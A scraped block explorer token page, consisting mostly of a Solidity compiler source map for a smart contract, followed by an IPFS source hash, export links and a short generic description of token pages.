;;;;;;;;;:3;:43::i;1864:189::-;1950:7;1985:12;1978:5;1970:28;;;;-1:-1:-1;;;1970:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2009:9:0;2021:5;2025:1;2021;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:247::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;1564:9;1551:23;1583:31;1608:5;1583:31;:::i;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:356::-;3287:2;3269:21;;;3306:18;;;3299:30;3365:34;3360:2;3345:18;;3338:62;3432:2;3417:18;;3085:356::o;3446:184::-;3516:6;3569:2;3557:9;3548:7;3544:23;3540:32;3537:52;;;3585:1;3582;3575:12;3537:52;-1:-1:-1;3608:16:1;;3446:184;-1:-1:-1;3446:184:1:o;3914:277::-;3981:6;4034:2;4022:9;4013:7;4009:23;4005:32;4002:52;;;4050:1;4047;4040:12;4002:52;4082:9;4076:16;4135:5;4128:13;4121:21;4114:5;4111:32;4101:60;;4157:1;4154;4147:12;4196:127;4257:10;4252:3;4248:20;4245:1;4238:31;4288:4;4285:1;4278:15;4312:4;4309:1;4302:15;4328:422;4417:1;4460:5;4417:1;4474:270;4495:7;4485:8;4482:21;4474:270;;;4554:4;4550:1;4546:6;4542:17;4536:4;4533:27;4530:53;;;4563:18;;:::i;:::-;4613:7;4603:8;4599:22;4596:55;;;4633:16;;;;4596:55;4712:22;;;;4672:15;;;;4474:270;;;4478:3;4328:422;;;;;:::o;4755:806::-;4804:5;4834:8;4824:80;;-1:-1:-1;4875:1:1;4889:5;;4824:80;4923:4;4913:76;;-1:-1:-1;4960:1:1;4974:5;;4913:76;5005:4;5023:1;5018:59;;;;5091:1;5086:130;;;;4998:218;;5018:59;5048:1;5039:10;;5062:5;;;5086:130;5123:3;5113:8;5110:17;5107:43;;;5130:18;;:::i;:::-;-1:-1:-1;;5186:1:1;5172:16;;5201:5;;4998:218;;5300:2;5290:8;5287:16;5281:3;5275:4;5272:13;5268:36;5262:2;5252:8;5249:16;5244:2;5238:4;5235:12;5231:35;5228:77;5225:159;;;-1:-1:-1;5337:19:1;;;5369:5;;5225:159;5416:34;5441:8;5435:4;5416:34;:::i;:::-;5486:6;5482:1;5478:6;5474:19;5465:7;5462:32;5459:58;;;5497:18;;:::i;:::-;5535:20;;4755:806;-1:-1:-1;;;4755:806:1:o;5566:140::-;5624:5;5653:47;5694:4;5684:8;5680:19;5674:4;5653:47;:::i;5711:168::-;5751:7;5817:1;5813;5809:6;5805:14;5802:1;5799:21;5794:1;5787:9;5780:17;5776:45;5773:71;;;5824:18;;:::i;:::-;-1:-1:-1;5864:9:1;;5711:168::o;6852:306::-;6940:6;6948;6956;7009:2;6997:9;6988:7;6984:23;6980:32;6977:52;;;7025:1;7022;7015:12;6977:52;7054:9;7048:16;7038:26;;7104:2;7093:9;7089:18;7083:25;7073:35;;7148:2;7137:9;7133:18;7127:25;7117:35;;6852:306;;;;;:::o;9198:125::-;9263:9;;;9284:10;;;9281:36;;;9297:18;;:::i;9328:135::-;9367:3;9388:17;;;9385:43;;9408:18;;:::i;:::-;-1:-1:-1;9455:1:1;9444:13;;9328:135::o;9870:128::-;9937:9;;;9958:11;;;9955:37;;;9972:18;;:::i;11184:217::-;11224:1;11250;11240:132;;11294:10;11289:3;11285:20;11282:1;11275:31;11329:4;11326:1;11319:15;11357:4;11354:1;11347:15;11240:132;-1:-1:-1;11386:9:1;;11184:217::o;11940:127::-;12001:10;11996:3;11992:20;11989:1;11982:31;12032:4;12029:1;12022:15;12056:4;12053:1;12046:15;12072:251;12142:6;12195:2;12183:9;12174:7;12170:23;12166:32;12163:52;;;12211:1;12208;12201:12;12163:52;12243:9;12237:16;12262:31;12287:5;12262:31;:::i;12328:980::-;12590:4;12638:3;12627:9;12623:19;12669:6;12658:9;12651:25;12695:2;12733:6;12728:2;12717:9;12713:18;12706:34;12776:3;12771:2;12760:9;12756:18;12749:31;12800:6;12835;12829:13;12866:6;12858;12851:22;12904:3;12893:9;12889:19;12882:26;;12943:2;12935:6;12931:15;12917:29;;12964:1;12974:195;12988:6;12985:1;12982:13;12974:195;;;13053:13;;-1:-1:-1;;;;;13049:39:1;13037:52;;13144:15;;;;13109:12;;;;13085:1;13003:9;12974:195;;;-1:-1:-1;;;;;;;13225:32:1;;;;13220:2;13205:18;;13198:60;-1:-1:-1;;;13289:3:1;13274:19;13267:35;13186:3;12328:980;-1:-1:-1;;;12328:980:1:o

Swarm Source

ipfs://b1d560f862a2b31a6ec6e71f97b1b282923ef33d5542d3cced63ccf9b47c07ff
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.